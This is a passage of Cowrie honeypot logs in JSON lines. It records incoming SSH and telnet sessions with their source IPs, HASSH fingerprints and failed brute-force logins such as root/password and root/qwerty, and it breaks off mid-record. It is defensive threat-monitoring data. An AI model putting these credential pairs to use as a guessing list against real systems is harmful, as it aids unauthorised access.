{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:41.873869Z","src_ip":"91.92.40.11","session":"8ffe5a4fe7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":51194,"dst_ip":"10.17.0.5","dst_port":23,"session":"51493aec2443","protocol":"telnet","message":"New connection: 72.167.226.244:51194 (10.17.0.5:23) [session: 51493aec2443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:02.217088Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.222.22.180","src_port":54712,"dst_ip":"159.203.135.109","dst_port":22,"session":"a93c66e0cd93","protocol":"ssh","message":"New connection: 92.222.22.180:54712 (159.203.135.109:22) [session: a93c66e0cd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:19.511285Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:19.607690Z","src_ip":"92.222.22.180","session":"a93c66e0cd93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":40562,"dst_ip":"10.17.0.5","dst_port":22,"session":"67ae0961bb2e","protocol":"ssh","message":"New connection: 195.178.110.137:40562 (10.17.0.5:22) [session: 67ae0961bb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:20.669473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:20.679177Z","src_ip":"195.178.110.137","session":"67ae0961bb2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:20.752485Z","src_ip":"195.178.110.137","session":"67ae0961bb2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:21.193770Z","src_ip":"195.178.110.137","session":"67ae0961bb2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:22.278067Z","src_ip":"195.178.110.137","session":"67ae0961bb2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":36372,"dst_ip":"10.17.0.5","dst_port":22,"session":"e896c1fb6974","protocol":"ssh","message":"New connection: 176.32.39.21:36372 (10.17.0.5:22) [session: e896c1fb6974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:24.270619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:24.273432Z","src_ip":"176.32.39.21","session":"e896c1fb6974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:24.387862Z","src_ip":"176.32.39.21","session":"e896c1fb6974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210783","message":"login attempt [root/210783] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:24.735786Z","src_ip":"176.32.39.21","session":"e896c1fb6974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":59224,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ae504ad524","protocol":"ssh","message":"New connection: 178.128.39.166:59224 (159.203.135.109:22) [session: 76ae504ad524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:24.957883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:25.317489Z","src_ip":"178.128.39.166","session":"76ae504ad524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:25.319992Z","src_ip":"178.128.39.166","session":"76ae504ad524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:25.853121Z","src_ip":"176.32.39.21","session":"e896c1fb6974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:25.911168Z","src_ip":"178.128.39.166","session":"76ae504ad524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:27.151496Z","src_ip":"178.128.39.166","session":"76ae504ad524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.101602792739868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:33.318472Z","src_ip":"72.167.226.244","session":"51493aec2443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":49176,"dst_ip":"10.17.0.5","dst_port":22,"session":"49da811243c2","protocol":"ssh","message":"New connection: 91.92.40.11:49176 (10.17.0.5:22) [session: 49da811243c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:34.713432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:35.038214Z","src_ip":"91.92.40.11","session":"49da811243c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:35.040576Z","src_ip":"91.92.40.11","session":"49da811243c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:35.816981Z","src_ip":"91.92.40.11","session":"49da811243c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":54170,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc02dbcf522f","protocol":"telnet","message":"New connection: 183.91.11.226:54170 (159.203.135.109:23) [session: fc02dbcf522f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:36.170694Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:31:36.994301Z","src_ip":"91.92.40.11","session":"49da811243c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":44214,"dst_ip":"159.203.135.109","dst_port":22,"session":"c13b44bd5bf0","protocol":"ssh","message":"New connection: 162.144.105.39:44214 (159.203.135.109:22) [session: c13b44bd5bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:00.658977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:00.664692Z","src_ip":"162.144.105.39","session":"c13b44bd5bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:00.747192Z","src_ip":"162.144.105.39","session":"c13b44bd5bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kabul_afghanistan","password":"kabul123","message":"login attempt [kabul_afghanistan/kabul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:00.995976Z","src_ip":"162.144.105.39","session":"c13b44bd5bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:02.365836Z","src_ip":"162.144.105.39","session":"c13b44bd5bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46140,"dst_ip":"10.17.0.5","dst_port":22,"session":"57793a35ae8f","protocol":"ssh","message":"New connection: 194.113.233.25:46140 (10.17.0.5:22) [session: 57793a35ae8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:18.480564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:18.484231Z","src_ip":"194.113.233.25","session":"57793a35ae8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:18.578323Z","src_ip":"194.113.233.25","session":"57793a35ae8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120379","message":"login attempt [root/120379] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:18.858502Z","src_ip":"194.113.233.25","session":"57793a35ae8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:19.954306Z","src_ip":"194.113.233.25","session":"57793a35ae8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":34100,"dst_ip":"10.17.0.5","dst_port":22,"session":"04924aee8469","protocol":"ssh","message":"New connection: 91.92.40.11:34100 (10.17.0.5:22) [session: 04924aee8469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:28.910557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:29.041397Z","src_ip":"91.92.40.11","session":"04924aee8469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:29.049667Z","src_ip":"91.92.40.11","session":"04924aee8469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:29.933849Z","src_ip":"91.92.40.11","session":"04924aee8469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:31.156317Z","src_ip":"91.92.40.11","session":"04924aee8469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":39966,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e529aa5200a","protocol":"ssh","message":"New connection: 103.82.36.79:39966 (159.203.135.109:22) [session: 9e529aa5200a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:32.532816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:32.535994Z","src_ip":"103.82.36.79","session":"9e529aa5200a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 